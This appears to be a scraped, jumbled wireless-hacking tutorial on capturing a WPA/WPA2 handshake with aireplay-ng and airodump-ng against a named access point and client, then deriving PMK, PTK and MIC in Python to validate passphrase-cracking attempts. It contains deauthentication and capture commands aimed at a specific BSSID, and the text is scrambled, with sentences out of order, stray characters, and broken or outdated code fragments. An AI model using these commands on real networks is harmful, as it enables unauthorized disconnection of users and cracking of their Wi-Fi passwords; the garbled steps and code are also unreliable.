To speed things up we’re going to deauthanticate the wireless client on that BSSID by sending DeAuth package: $ aireplay-ng -0 1 -a 40:16:7E:DC:1A:8C -c D8:9E:3F:3D:3F:69 wlan0mon 20:14:23 Waiting for beacon frame (BSSID: 40:16:7E:DC:1A:8C) on channel 6Ģ0:14:24 Sending 64 directed DeAuth. We want to read channel 6 (CyberPunk Channel), BSSID (40:16:7E:DC:1A:8C) and write all that into a file: $ airodump-ng -c 6 -bssid 40:16:7E:DC:1A:8C -w CP wlan0mon Here in this example, we’re going to be a more specific, we have a target in mind (CyberPunk Net with AP on 40:16:7E:DC:1A:8C). When it does occur, in the top right corner you’ll see something like: CH 9 ][ WPA handshake: XX:XX:XX:XX:XX:XX

With this, we’re waiting for any WPA handshake to happen. Maybe an overkill for the sake of the example, but we’re going to use couple of Devices:ĭumping everything you capture to a FILE ( *.cap): $ airodump-ng -w mon0 Capturing WPA/WPA2 Handshake with Aircrack-ng Below you’ll find a complete python code you can use to experiment. With that, we have everything we need to calculate MIC, which you can further use to validate your attempts to crack password. #kck = hmac.new(pmk, message, hashlib.sha1).digest() #ptk = hmac.new(pmk, message, hashlib.sha1).digest() Key_data = min(ap_mac,s_mac) + max(ap_mac,s_mac) + min(anonce,snonce) + max(anonce,snonce) Sample python code for generating the keys: pmk = hashlib.pbkdf2_hmac('sha1', passphrase, SSID.encode(), 4096, 32)

PTK can be generated with a function (customPRF512) or simply by calling hmac lib. 64 bits- MIC Authenticator Rx Key (MIC Rx) – Only used with TKIP configurations for unicast packets sent by clients.64 bits – MIC Authenticator Tx Key (MIC Tx) – Only used with TKIP configurations for unicast packets sent by access points.128 bits – Temporal Key (TK) – Used for the encryption and decryption of unicast packets.128 bits – Key Encryption Key (KEK) – Used by the AP during data encryption.128bits – Key Confirmation Key (KCK) – Used during the creation of the MIC.The result is 512bit PTK which are treated as 5 separate keys: PTK is dependent on ANOUNCE, SNOUNCE, AP & Station MAC Addresses and PMK.

Print 'Pairwise Master Key (PMK): ' + PBKDF2(phrase, ssid, 4096).read(32).encode('hex')) The 4096 iterations to create 256 bit PMK with SSID used as salt and PSK (passphrase) used as the base of entire process.

Wireshark captures passwords